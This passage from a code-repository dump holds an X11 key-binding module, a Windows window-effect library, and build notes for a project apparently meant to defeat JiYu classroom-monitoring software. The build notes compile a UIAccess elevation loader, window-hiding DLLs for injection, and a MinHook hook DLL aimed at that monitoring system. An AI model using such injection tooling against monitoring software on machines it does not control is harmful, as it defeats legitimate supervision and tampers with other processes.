modifiers |= getattr(xproto.KeyButMask, part) 114 | else: 115 | if len(part) == 1: 116 | part = part.lower() 117 | keycode = lookup_string(part) 118 | 119 | return modifiers, keycode 120 | 121 | def lookup_string(kstr): 122 | """ 123 | Finds the keycode associated with a string representation of a keysym. 124 | 125 | :param kstr: English representation of a keysym. 126 | :return: Keycode, if one exists. 127 | :rtype: int 128 | """ 129 | if kstr in keysyms: 130 | return get_keycode(keysyms[kstr]) 131 | elif len(kstr) > 1 and kstr.capitalize() in keysyms: 132 | return get_keycode(keysyms[kstr.capitalize()]) 133 | 134 | return None 135 | 136 | def lookup_keysym(keysym): 137 | """ 138 | Finds the english string associated with a keysym. 139 | 140 | :param keysym: An X keysym. 141 | :return: English string representation of a keysym. 142 | :rtype: str 143 | """ 144 | return get_keysym_string(keysym) 145 | 146 | def get_min_max_keycode(): 147 | """ 148 | Return a tuple of the minimum and maximum keycode allowed in the 149 | current X environment. 150 | 151 | :rtype: (int, int) 152 | """ 153 | return conn.get_setup().min_keycode, conn.get_setup().max_keycode 154 | 155 | def get_keyboard_mapping(): 156 | """ 157 | Return a keyboard mapping cookie that can be used to fetch the table of 158 | keysyms in the current X environment. 159 | 160 | :rtype: xcb.xproto.GetKeyboardMappingCookie 161 | """ 162 | mn, mx = get_min_max_keycode() 163 | 164 | return conn.core.GetKeyboardMapping(mn, mx - mn + 1) 165 | 166 | def get_keyboard_mapping_unchecked(): 167 | """ 168 | Return an unchecked keyboard mapping cookie that can be used to fetch the 169 | table of keysyms in the current X environment. 170 | 171 | :rtype: xcb.xproto.GetKeyboardMappingCookie 172 | """ 173 | mn, mx = get_min_max_keycode() 174 | 175 | return conn.core.GetKeyboardMappingUnchecked(mn, mx - mn + 1) 176 | 177 | def get_keysym(keycode, col=0, kbmap=None): 178 | """ 179 | Get the keysym associated with a particular keycode in the current X 180 | environment. Although we get a list of keysyms from X in 181 | 'get_keyboard_mapping', this list is really a table with 182 | 'keysys_per_keycode' columns and ``mx - mn`` rows (where ``mx`` is the 183 | maximum keycode and ``mn`` is the minimum keycode). 184 | 185 | Thus, the index for a keysym given a keycode is: 186 | ``(keycode - mn) * keysyms_per_keycode + col``. 187 | 188 | In most cases, setting ``col`` to 0 will work. 189 | 190 | Witness the utter complexity: 191 | http://tronche.com/gui/x/xlib/input/keyboard-encoding.html 192 | 193 | You may also pass in your own keyboard mapping using the ``kbmap`` 194 | parameter, but xpybutil maintains an up-to-date version of this so you 195 | shouldn't have to. 196 | 197 | :param keycode: A physical key represented by an integer. 198 | :type keycode: int 199 | :param col: The column in the keysym table to use. 200 | Unless you know what you're doing, just use 0. 201 | :type col: int 202 | :param kbmap: The keyboard mapping to use. 203 | :type kbmap: xcb.xproto.GetKeyboardMapingReply 204 | """ 205 | if kbmap is None: 206 | kbmap = __kbmap 207 | 208 | mn, mx = get_min_max_keycode() 209 | per = kbmap.keysyms_per_keycode 210 | ind = (keycode - mn) * per + col 211 | 212 | return kbmap.keysyms[ind] 213 | 214 | def get_keysym_string(keysym): 215 | """ 216 | A simple wrapper to find the english string associated with a particular 217 | keysym. 218 | 219 | :param keysym: An X keysym. 220 | :rtype: str 221 | """ 222 | return keysym_strings.get(keysym, [None])[0] 223 | 224 | def get_keycode(keysym): 225 | """ 226 | Given a keysym, find the keycode mapped to it in the current X environment. 227 | It is necessary to search the keysym table in order to do this, including 228 | all columns. 229 | 230 | :param keysym: An X keysym. 231 | :return: A keycode or None if one could not be found. 232 | :rtype: int 233 | """ 234 | mn, mx = get_min_max_keycode() 235 | cols = __kbmap.keysyms_per_keycode 236 | for i in range(mn, mx + 1): 237 | for j in range(0, cols): 238 | ks = get_keysym(i, col=j) 239 | if ks == keysym: 240 | return i 241 | 242 | return None 243 | 244 | def get_mod_for_key(keycode): 245 | """ 246 | Finds the modifier that is mapped to the given keycode. 247 | This may be useful when analyzing key press events. 248 | 249 | :type keycode: int 250 | :return: A modifier identifier. 251 | :rtype: xcb.xproto.ModMask 252 | """ 253 | return __keysmods.get(keycode, 0) 254 | 255 | def get_keys_to_mods(): 256 | """ 257 | Fetches and creates the keycode -> modifier mask mapping. Typically, you 258 | shouldn't have to use this---xpybutil will keep this up to date if it 259 | changes. 260 | 261 | This function may be useful in that it should closely replicate the output 262 | of the ``xmodmap`` command. For example: 263 | 264 | :: 265 | 266 | keymods = get_keys_to_mods() 267 | for kc in sorted(keymods, key=lambda kc: keymods[kc]): 268 | print keymods[kc], hex(kc), get_keysym_string(get_keysym(kc)) 269 | 270 | Which will very closely replicate ``xmodmap``. I'm not getting precise 271 | results quite yet, but I do believe I'm getting at least most of what 272 | matters. (i.e., ``xmodmap`` returns valid keysym strings for some that 273 | I cannot.) 274 | 275 | :return: A dict mapping from keycode to modifier mask. 276 | :rtype: dict 277 | """ 278 | mm = xproto.ModMask 279 | modmasks = [mm.Shift, mm.Lock, mm.Control, 280 | mm._1, mm._2, mm._3, mm._4, mm._5] # order matters 281 | 282 | mods = conn.core.GetModifierMapping().reply() 283 | 284 | res = {} 285 | keyspermod = mods.keycodes_per_modifier 286 | for mmi in range(0, len(modmasks)): 287 | row = mmi * keyspermod 288 | for kc in mods.keycodes[row:row + keyspermod]: 289 | res[kc] = modmasks[mmi] 290 | 291 | return res 292 | 293 | def get_modifiers(state): 294 | """ 295 | Takes a ``state`` (typically found in key press or button press events) 296 | and returns a string list representation of the modifiers that were pressed 297 | when generating the event. 298 | 299 | :param state: Typically from ``some_event.state``. 300 | :return: List of modifier string representations. 301 | :rtype: [str] 302 | """ 303 | ret = [] 304 | 305 | if state & xproto.ModMask.Shift: 306 | ret.append('Shift') 307 | if state & xproto.ModMask.Lock: 308 | ret.append('Lock') 309 | if state & xproto.ModMask.Control: 310 | ret.append('Control') 311 | if state & xproto.ModMask._1: 312 | ret.append('Mod1') 313 | if state & xproto.ModMask._2: 314 | ret.append('Mod2') 315 | if state & xproto.ModMask._3: 316 | ret.append('Mod3') 317 | if state & xproto.ModMask._4: 318 | ret.append('Mod4') 319 | if state & xproto.ModMask._5: 320 | ret.append('Mod5') 321 | if state & xproto.KeyButMask.Button1: 322 | ret.append('Button1') 323 | if state & xproto.KeyButMask.Button2: 324 | ret.append('Button2') 325 | if state & xproto.KeyButMask.Button3: 326 | ret.append('Button3') 327 | if state & xproto.KeyButMask.Button4: 328 | ret.append('Button4') 329 | if state & xproto.KeyButMask.Button5: 330 | ret.append('Button5') 331 | 332 | return ret 333 | 334 | def grab_keyboard(grab_win): 335 | """ 336 | This will grab the keyboard. The effect is that further keyboard events 337 | will *only* be sent to the grabbing client. (i.e., ``grab_win``). 338 | 339 | N.B. There is an example usage of this in examples/window-marker. 340 | 341 | :param grab_win: A window identifier to report keyboard events to. 342 | :type grab_win: int 343 | :rtype: xcb.xproto.GrabStatus 344 | """ 345 | return conn.core.GrabKeyboard(False, grab_win, xproto.Time.CurrentTime, 346 | GM.Async, GM.Async).reply() 347 | 348 | def ungrab_keyboard(): 349 | """ 350 | This will release a grab initiated by ``grab_keyboard``. 351 | 352 | :rtype: void 353 | """ 354 | conn.core.UngrabKeyboardChecked(xproto.Time.CurrentTime).check() 355 | 356 | def grab_key(wid, modifiers, key): 357 | """ 358 | Grabs a key for a particular window and a modifiers/key value. 359 | If the grab was successful, return True. Otherwise, return False. 360 | If your client is grabbing keys, it is useful to notify the user if a 361 | key wasn't grabbed. Keyboard shortcuts not responding is disorienting! 362 | 363 | Also, this function will grab several keys based on varying modifiers. 364 | Namely, this accounts for all of the "trivial" modifiers that may have 365 | an effect on X events, but probably shouldn't effect key grabbing. (i.e., 366 | whether num lock or caps lock is on.) 367 | 368 | N.B. You should probably be using 'bind_key' or 'bind_global_key' instead. 369 | 370 | :param wid: A window identifier. 371 | :type wid: int 372 | :param modifiers: A modifier mask. 373 | :type modifiers: int 374 | :param key: A keycode. 375 | :type key: int 376 | :rtype: bool 377 | """ 378 | try: 379 | for mod in TRIVIAL_MODS: 380 | conn.core.GrabKeyChecked(True, wid, modifiers | mod, key, GM.Async, 381 | GM.Async).check() 382 | 383 | return True 384 | except xproto.BadAccess: 385 | return False 386 | 387 | def ungrab_key(wid, modifiers, key): 388 | """ 389 | Ungrabs a key that was grabbed by ``grab_key``. Similarly, it will return 390 | True on success and False on failure. 391 | 392 | When ungrabbing a key, the parameters to this function should be 393 | *precisely* the same as the parameters to ``grab_key``. 394 | 395 | :param wid: A window identifier. 396 | :type wid: int 397 | :param modifiers: A modifier mask. 398 | :type modifiers: int 399 | :param key: A keycode. 400 | :type key: int 401 | :rtype: bool 402 | """ 403 | try: 404 | for mod in TRIVIAL_MODS: 405 | conn.core.UngrabKeyChecked(key, wid, modifiers | mod).check() 406 | return True 407 | except xproto.BadAccess: 408 | return False 409 | 410 | def update_keyboard_mapping(e): 411 | """ 412 | Whenever the keyboard mapping is changed, this function needs to be called 413 | to update xpybutil's internal representing of the current keysym table. 414 | Indeed, xpybutil will do this for you automatically. 415 | 416 | Moreover, if something is changed that affects the current keygrabs, 417 | xpybutil will initiate a regrab with the changed keycode. 418 | 419 | :param e: The MappingNotify event. 420 | :type e: xcb.xproto.MappingNotifyEvent 421 | :rtype: void 422 | """ 423 | global __kbmap, __keysmods 424 | 425 | newmap = get_keyboard_mapping().reply() 426 | 427 | if e is None: 428 | __kbmap = newmap 429 | __keysmods = get_keys_to_mods() 430 | return 431 | 432 | if e.request == xproto.Mapping.Keyboard: 433 | changes = {} 434 | for kc in range(*get_min_max_keycode()): 435 | knew = get_keysym(kc, kbmap=newmap) 436 | oldkc = get_keycode(knew) 437 | if oldkc != kc: 438 | changes[oldkc] = kc 439 | 440 | __kbmap = newmap 441 | __regrab(changes) 442 | elif e.request == xproto.Mapping.Modifier: 443 | __keysmods = get_keys_to_mods() 444 | 445 | def __run_keybind_callbacks(e): 446 | """ 447 | A private function that intercepts all key press/release events, and runs 448 | their corresponding callback functions. Nothing much to see here, except 449 | that we must mask out the trivial modifiers from the state in order to 450 | find the right callback. 451 | 452 | Callbacks are called in the order that they have been added. (FIFO.) 453 | 454 | :param e: A Key{Press,Release} event. 455 | :type e: xcb.xproto.Key{Press,Release}Event 456 | :rtype: void 457 | """ 458 | kc, mods = e.detail, e.state 459 | for mod in TRIVIAL_MODS: 460 | mods &= ~mod 461 | 462 | key = (e.event, mods, kc) 463 | for cb in __keybinds.get(key, []): 464 | try: 465 | cb(e) 466 | except TypeError: 467 | cb() 468 | 469 | def __regrab(changes): 470 | """ 471 | Takes a dictionary of changes (mapping old keycode to new keycode) and 472 | regrabs any keys that have been changed with the updated keycode. 473 | 474 | :param changes: Mapping of changes from old keycode to new keycode. 475 | :type changes: dict 476 | :rtype: void 477 | """ 478 | for wid, mods, kc in __keybinds: 479 | if kc in changes: 480 | ungrab_key(wid, mods, kc) 481 | grab_key(wid, mods, changes[kc]) 482 | 483 | old = (wid, mods, kc) 484 | new = (wid, mods, changes[kc]) 485 | __keybinds[new] = __keybinds[old] 486 | del __keybinds[old] 487 | 488 | if conn is not None: 489 | update_keyboard_mapping(None) 490 | event.connect('MappingNotify', None, update_keyboard_mapping) 491 | 492 | if __name__ == '__main__': 493 | import xpybutil.event as event 494 | print(get_keysym_string(get_keysym(71))) 495 | #~ print(parse_keystring('f5')) 496 | #~ bind_global_key('KeyPress', 'F5', lambda: print('ass')) 497 | #~ event.main() 498 | 499 | -------------------------------------------------------------------------------- /libs/windowEffecter/__init__.py: -------------------------------------------------------------------------------- 1 | from .window_effect import WindowEffect -------------------------------------------------------------------------------- /libs/windowEffecter/__pycache__/__init__.cpython-38.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LYXOfficial/NoTopDomain/386228dfbdade528a7a0472efd01c209c96353ee/libs/windowEffecter/__pycache__/__init__.cpython-38.pyc -------------------------------------------------------------------------------- /libs/windowEffecter/__pycache__/c_structures.cpython-38.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LYXOfficial/NoTopDomain/386228dfbdade528a7a0472efd01c209c96353ee/libs/windowEffecter/__pycache__/c_structures.cpython-38.pyc -------------------------------------------------------------------------------- /libs/windowEffecter/__pycache__/window_effect.cpython-38.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LYXOfficial/NoTopDomain/386228dfbdade528a7a0472efd01c209c96353ee/libs/windowEffecter/__pycache__/window_effect.cpython-38.pyc -------------------------------------------------------------------------------- /libs/windowEffecter/c_structures.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | from ctypes import POINTER, Structure, c_int 3 | from ctypes.wintypes import DWORD, HWND, ULONG, POINT, RECT, UINT 4 | from enum import Enum 5 | 6 | 7 | class WINDOWCOMPOSITIONATTRIB(Enum): 8 | WCA_UNDEFINED = 0 9 | WCA_NCRENDERING_ENABLED = 1 10 | WCA_NCRENDERING_POLICY = 2 11 | WCA_TRANSITIONS_FORCEDISABLED = 3 12 | WCA_ALLOW_NCPAINT = 4 13 | WCA_CAPTION_BUTTON_BOUNDS = 5 14 | WCA_NONCLIENT_RTL_LAYOUT = 6 15 | WCA_FORCE_ICONIC_REPRESENTATION = 7 16 | WCA_EXTENDED_FRAME_BOUNDS = 8 17 | WCA_HAS_ICONIC_BITMAP = 9 18 | WCA_THEME_ATTRIBUTES = 10 19 | WCA_NCRENDERING_EXILED = 11 20 | WCA_NCADORNMENTINFO = 12 21 | WCA_EXCLUDED_FROM_LIVEPREVIEW = 13 22 | WCA_VIDEO_OVERLAY_ACTIVE = 14 23 | WCA_FORCE_ACTIVEWINDOW_APPEARANCE = 15 24 | WCA_DISALLOW_PEEK = 16 25 | WCA_CLOAK = 17 26 | WCA_CLOAKED = 18 27 | WCA_ACCENT_POLICY = 19 28 | WCA_FREEZE_REPRESENTATION = 20 29 | WCA_EVER_UNCLOAKED = 21 30 | WCA_VISUAL_OWNER = 22 31 | WCA_HOLOGRAPHIC = 23 32 | WCA_EXCLUDED_FROM_DDA = 24 33 | WCA_PASSIVEUPDATEMODE = 25 34 | WCA_USEDARKMODECOLORS = 26 35 | WCA_CORNER_STYLE = 27 36 | WCA_PART_COLOR = 28 37 | WCA_DISABLE_MOVESIZE_FEEDBACK = 29 38 | WCA_LAST = 30 39 | 40 | 41 | class ACCENT_STATE(Enum): 42 | """ Client area status enumeration class """ 43 | ACCENT_DISABLED = 0 44 | ACCENT_ENABLE_GRADIENT = 1 45 | ACCENT_ENABLE_TRANSPARENTGRADIENT = 2 46 | ACCENT_ENABLE_BLURBEHIND = 3 # Aero effect 47 | ACCENT_ENABLE_ACRYLICBLURBEHIND = 4 # Acrylic effect 48 | ACCENT_ENABLE_HOSTBACKDROP = 5 # Mica effect 49 | ACCENT_INVALID_STATE = 6 50 | 51 | 52 | class ACCENT_POLICY(Structure): 53 | """ Specific attributes of client area """ 54 | 55 | _fields_ = [ 56 | ("AccentState", DWORD), 57 | ("AccentFlags", DWORD), 58 | ("GradientColor", DWORD), 59 | ("AnimationId", DWORD), 60 | ] 61 | 62 | 63 | class WINDOWCOMPOSITIONATTRIBDATA(Structure): 64 | _fields_ = [ 65 | ("Attribute", DWORD), 66 | # Pointer() receives any ctypes type and returns a pointer type 67 | ("Data", POINTER(ACCENT_POLICY)), 68 | ("SizeOfData", ULONG), 69 | ] 70 | 71 | 72 | class DWMNCRENDERINGPOLICY(Enum): 73 | DWMNCRP_USEWINDOWSTYLE = 0 74 | DWMNCRP_DISABLED = 1 75 | DWMNCRP_ENABLED = 2 76 | DWMNCRP_LAS = 3 77 | 78 | 79 | class DWMWINDOWATTRIBUTE(Enum): 80 | DWMWA_NCRENDERING_ENABLED = 1 81 | DWMWA_NCRENDERING_POLICY = 2 82 | DWMWA_TRANSITIONS_FORCEDISABLED = 3 83 | DWMWA_ALLOW_NCPAINT = 4 84 | DWMWA_CAPTION_BUTTON_BOUNDS = 5 85 | DWMWA_NONCLIENT_RTL_LAYOUT = 6 86 | DWMWA_FORCE_ICONIC_REPRESENTATION = 7 87 | DWMWA_FLIP3D_POLICY = 8 88 | DWMWA_EXTENDED_FRAME_BOUNDS = 9 89 | DWMWA_HAS_ICONIC_BITMAP = 10 90 | DWMWA_DISALLOW_PEEK = 11 91 | DWMWA_EXCLUDED_FROM_PEEK = 12 92 | DWMWA_CLOAK = 13 93 | DWMWA_CLOAKED = 14 94 | DWMWA_FREEZE_REPRESENTATION = 15 95 | DWMWA_PASSIVE_UPDATE_MODE = 16 96 | DWMWA_USE_HOSTBACKDROPBRUSH = 17 97 | DWMWA_USE_IMMERSIVE_DARK_MODE = 18 98 | DWMWA_WINDOW_CORNER_PREFERENCE = 19 99 | DWMWA_BORDER_COLOR = 20 100 | DWMWA_CAPTION_COLOR = 21 101 | DWMWA_TEXT_COLOR = 22 102 | DWMWA_VISIBLE_FRAME_BORDER_THICKNESS = 23 103 | DWMWA_LAST = 24 104 | 105 | 106 | class MARGINS(Structure): 107 | _fields_ = [ 108 | ("cxLeftWidth", c_int), 109 | ("cxRightWidth", c_int), 110 | ("cyTopHeight", c_int), 111 | ("cyBottomHeight", c_int), 112 | ] 113 | 114 | 115 | class MINMAXINFO(Structure): 116 | _fields_ = [ 117 | ("ptReserved", POINT), 118 | ("ptMaxSize", POINT), 119 | ("ptMaxPosition", POINT), 120 | ("ptMinTrackSize", POINT), 121 | ("ptMaxTrackSize", POINT), 122 | ] 123 | 124 | 125 | class PWINDOWPOS(Structure): 126 | _fields_ = [ 127 | ('hWnd', HWND), 128 | ('hwndInsertAfter', HWND), 129 | ('x', c_int), 130 | ('y', c_int), 131 | ('cx', c_int), 132 | ('cy', c_int), 133 | ('flags', UINT) 134 | ] 135 | 136 | 137 | class NCCALCSIZE_PARAMS(Structure): 138 | _fields_ = [ 139 | ('rgrc', RECT*3), 140 | ('lppos', POINTER(PWINDOWPOS)) 141 | ] 142 | -------------------------------------------------------------------------------- /libs/windowEffecter/window_effect.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import sys 3 | import warnings 4 | from ctypes import POINTER, byref, c_bool, c_int, cdll, pointer, sizeof 5 | from ctypes.wintypes import DWORD, LONG, LPCVOID 6 | from platform import platform 7 | 8 | import win32api 9 | import win32con 10 | import win32gui 11 | 12 | from .c_structures import (ACCENT_POLICY, ACCENT_STATE, DWMNCRENDERINGPOLICY, 13 | DWMWINDOWATTRIBUTE, MARGINS, 14 | WINDOWCOMPOSITIONATTRIB, 15 | WINDOWCOMPOSITIONATTRIBDATA) 16 | 17 | 18 | class WindowEffect: 19 | """ Windows window effect """ 20 | 21 | def __init__(self): 22 | # Declare the function signature of the API 23 | self.user32 = cdll.LoadLibrary("user32") 24 | self.dwmapi = cdll.LoadLibrary("dwmapi") 25 | self.SetWindowCompositionAttribute = self.user32.SetWindowCompositionAttribute 26 | self.DwmExtendFrameIntoClientArea = self.dwmapi.DwmExtendFrameIntoClientArea 27 | self.DwmSetWindowAttribute = self.dwmapi.DwmSetWindowAttribute 28 | self.SetWindowCompositionAttribute.restype = c_bool 29 | self.DwmExtendFrameIntoClientArea.restype = LONG 30 | self.DwmSetWindowAttribute.restype = LONG 31 | self.SetWindowCompositionAttribute.argtypes = [ 32 | c_int, 33 | POINTER(WINDOWCOMPOSITIONATTRIBDATA), 34 | ] 35 | self.DwmSetWindowAttribute.argtypes = [c_int, DWORD, LPCVOID, DWORD] 36 | self.DwmExtendFrameIntoClientArea.argtypes = [c_int, POINTER(MARGINS)] 37 | 38 | # Initialize structure 39 | self.accentPolicy = ACCENT_POLICY() 40 | self.winCompAttrData = WINDOWCOMPOSITIONATTRIBDATA() 41 | self.winCompAttrData.Attribute = WINDOWCOMPOSITIONATTRIB.WCA_ACCENT_POLICY.value 42 | self.winCompAttrData.SizeOfData = sizeof(self.accentPolicy) 43 | self.winCompAttrData.Data = pointer(self.accentPolicy) 44 | 45 | def setAcrylicEffect(self, hWnd, gradientColor="F2F2F299", enableShadow=1, animationId=0): 46 | """ Add the acrylic effect to the window 47 | 48 | Parameters 49 | ---------- 50 | hWnd: int or `sip.voidptr` 51 | Window handle 52 | 53 | gradientColor: str 54 | Hexadecimal acrylic mixed color, corresponding to four RGBA channels 55 | 56 | isEnableShadow: bool 57 | Enable window shadows 58 | 59 | animationId: int 60 | Turn on matte animation 61 | """ 62 | if "Windows-7" in platform(): 63 | warnings.warn("The acrylic effect is only available on Win10+") 64 | return 65 | 66 | hWnd = int(hWnd) 67 | gradientColor = ''.join(gradientColor[i:i+2] for i in range(6, -1, -2)) 68 | gradientColor = DWORD(int(gradientColor, base=16)) 69 | animationId = DWORD(animationId) 70 | accentFlags = DWORD(0x20 | 0x40 | 0x80 | 0x100) if enableShadow else DWORD(0) 71 | self.accentPolicy.AccentState = ACCENT_STATE.ACCENT_ENABLE_ACRYLICBLURBEHIND.value 72 | self.accentPolicy.GradientColor = gradientColor 73 | self.accentPolicy.AccentFlags = accentFlags 74 | self.accentPolicy.AnimationId = animationId 75 | self.winCompAttrData.Attribute = WINDOWCOMPOSITIONATTRIB.WCA_ACCENT_POLICY.value 76 | self.SetWindowCompositionAttribute(hWnd, pointer(self.winCompAttrData)) 77 | 78 | def setMicaEffect(self, hWnd, isDarkMode=False): 79 | """ Add the mica effect to the window (Win11 only) 80 | 81 | Parameters 82 | ---------- 83 | hWnd: int or `sip.voidptr` 84 | Window handle 85 | 86 | isDarkMode: bool 87 | whether to use dark mode mica effect 88 | """ 89 | if sys.getwindowsversion().build < 22000: 90 | warnings.warn("The mica effect is only available on Win11") 91 | return 92 | 93 | hWnd = int(hWnd) 94 | margins = MARGINS(-1, -1, -1, -1) 95 | self.DwmExtendFrameIntoClientArea(hWnd, byref(margins)) 96 | 97 | self.winCompAttrData.Attribute = WINDOWCOMPOSITIONATTRIB.WCA_ACCENT_POLICY.value 98 | self.accentPolicy.AccentState = ACCENT_STATE.ACCENT_ENABLE_HOSTBACKDROP.value 99 | self.SetWindowCompositionAttribute(hWnd, pointer(self.winCompAttrData)) 100 | 101 | if isDarkMode: 102 | self.winCompAttrData.Attribute = WINDOWCOMPOSITIONATTRIB.WCA_USEDARKMODECOLORS.value 103 | self.SetWindowCompositionAttribute(hWnd, pointer(self.winCompAttrData)) 104 | 105 | if sys.getwindowsversion().build < 22523: 106 | self.DwmSetWindowAttribute(hWnd, 1029, byref(c_int(1)), 4) 107 | else: 108 | self.DwmSetWindowAttribute(hWnd, 38, byref(c_int(2)), 4) 109 | 110 | def setAeroEffect(self, hWnd): 111 | """ Add the aero effect to the window 112 | 113 | Parameters 114 | ---------- 115 | hWnd: int or `sip.voidptr` 116 | Window handle 117 | """ 118 | hWnd = int(hWnd) 119 | self.winCompAttrData.Attribute = WINDOWCOMPOSITIONATTRIB.WCA_ACCENT_POLICY.value 120 | self.accentPolicy.AccentState = ACCENT_STATE.ACCENT_ENABLE_BLURBEHIND.value 121 | self.SetWindowCompositionAttribute(hWnd, pointer(self.winCompAttrData)) 122 | 123 | def removeBackgroundEffect(self, hWnd): 124 | """ Remove background effect 125 | 126 | Parameters 127 | ---------- 128 | hWnd: int or `sip.voidptr` 129 | Window handle 130 | """ 131 | hWnd = int(hWnd) 132 | self.accentPolicy.AccentState = ACCENT_STATE.ACCENT_DISABLED.value 133 | self.SetWindowCompositionAttribute(hWnd, pointer(self.winCompAttrData)) 134 | 135 | @staticmethod 136 | def moveWindow(hWnd): 137 | """ Move the window 138 | 139 | Parameters 140 | ---------- 141 | hWnd: int or `sip.voidptr` 142 | Window handle 143 | """ 144 | hWnd = int(hWnd) 145 | win32gui.ReleaseCapture() 146 | win32api.SendMessage( 147 | hWnd, win32con.WM_SYSCOMMAND, win32con.SC_MOVE + win32con.HTCAPTION, 0 148 | ) 149 | 150 | def setShadowEffect(self, hWnd): 151 | hWnd = int(hWnd) 152 | self.DwmSetWindowAttribute( 153 | hWnd, 154 | DWMWINDOWATTRIBUTE.DWMWA_NCRENDERING_POLICY.value, 155 | byref(c_int(DWMNCRENDERINGPOLICY.DWMNCRP_ENABLED.value)), 156 | 4, 157 | ) 158 | margins = MARGINS(-1, -1, -1, -1) 159 | self.DwmExtendFrameIntoClientArea(hWnd, byref(margins)) 160 | 161 | def addMenuShadowEffect(self, hWnd): 162 | """ Add DWM shadow to menu 163 | 164 | Parameters 165 | ---------- 166 | hWnd: int or `sip.voidptr` 167 | Window handle 168 | """ 169 | hWnd = int(hWnd) 170 | self.DwmSetWindowAttribute( 171 | hWnd, 172 | DWMWINDOWATTRIBUTE.DWMWA_NCRENDERING_POLICY.value, 173 | byref(c_int(DWMNCRENDERINGPOLICY.DWMNCRP_ENABLED.value)), 174 | 4, 175 | ) 176 | margins = MARGINS(-1, -1, -1, -1) 177 | self.DwmExtendFrameIntoClientArea(hWnd, byref(margins)) 178 | 179 | def removeShadowEffect(self, hWnd): 180 | """ Remove DWM shadow from the window 181 | 182 | Parameters 183 | ---------- 184 | hWnd: int or `sip.voidptr` 185 | Window handle 186 | """ 187 | hWnd = int(hWnd) 188 | self.DwmSetWindowAttribute( 189 | hWnd, 190 | DWMWINDOWATTRIBUTE.DWMWA_NCRENDERING_POLICY.value, 191 | byref(c_int(DWMNCRENDERINGPOLICY.DWMNCRP_DISABLED.value)), 192 | 4, 193 | ) 194 | 195 | @staticmethod 196 | def removeMenuShadowEffect(hWnd): 197 | """ Remove shadow from pop-up menu 198 | 199 | Parameters 200 | ---------- 201 | hWnd: int or `sip.voidptr` 202 | Window handle 203 | """ 204 | hWnd = int(hWnd) 205 | style = win32gui.GetClassLong(hWnd, win32con.GCL_STYLE) 206 | style &= ~0x00020000 # CS_DROPSHADOW 207 | win32api.SetClassLong(hWnd, win32con.GCL_STYLE, style) 208 | 209 | @staticmethod 210 | def addWindowAnimation(hWnd): 211 | """ Enables the maximize and minimize animation of the window 212 | 213 | Parameters 214 | ---------- 215 | hWnd : int or `sip.voidptr` 216 | Window handle 217 | """ 218 | hWnd = int(hWnd) 219 | style = win32gui.GetWindowLong(hWnd, win32con.GWL_STYLE) 220 | win32gui.SetWindowLong( 221 | hWnd, 222 | win32con.GWL_STYLE, 223 | style 224 | | win32con.WS_MAXIMIZEBOX 225 | | win32con.WS_CAPTION 226 | | win32con.CS_DBLCLKS 227 | | win32con.WS_THICKFRAME, 228 | ) 229 | -------------------------------------------------------------------------------- /shellsMaybeYouUse: -------------------------------------------------------------------------------- 1 | # nuitka打包,第一行为mingw,第二行为msvc,实测msvc尺寸稍小 2 | nuitka NoTopDomain.py --mingw64 --standalone --windows-uac-admin --enable-plugin=pyqt5 --windows-icon-from-ico=app.ico --onefile --nofollow-imports --windows-disable-console 3 | nuitka NoTopDomain.py --msvc=latest --standalone --windows-uac-admin --enable-plugin=pyqt5 --windows-icon-from-ico=app.ico --onefile --nofollow-imports --windows-disable-console 4 | # 编译C++工具包动态链接库(DLL) 5 | g++ ./libs/NTDTools.cpp -shared -o NTDTools.dll -s 6 | # 编译UIAccess提权工具(EXE)(mingw64部分版本会出错(ld的sysroot),建议使用TDM-GCC MSVC或mingw10.0+) 7 | g++ ./libs/NTDUIALoader.cpp -s -m32 -static-libgcc -os -o NTDUIALoader.exe -mwindows 8 | # 编译注入的隐藏窗口DLL 9 | g++ ./libs/NTDHider.cpp -shared -o NTDHider.dll -s 10 | g++ ./libs/NTDShower.cpp -shared -o NTDShower.dll -s 11 | g++ ./libs/NTDHider.cpp -shared -m32 -o NTDHider32.dll -s 12 | g++ ./libs/NTDShower.cpp -shared -m32 -o NTDShower32.dll -s 13 | # 编译极域注入器 14 | g++ NTDHookRunner.cpp -mwindows -m32 -s -o NTDHookRunner.exe 15 | # 编译32位窗口注入器 16 | g++ NTDHide32Runner.cpp -mwindows -m32 -s -o NTDHide32Runner.exe 17 | # 编译注入的极域系统函数HookDLL 18 | g++ NTDHooks.cpp MinHook.x86.lib -lpsapi -m32 -s -shared -o NTDHooks.dll -fexec-charset=gbk -finput-charset=gbk 19 | # 如果想要更小,可以用upx( --------------------------------------------------------------------------------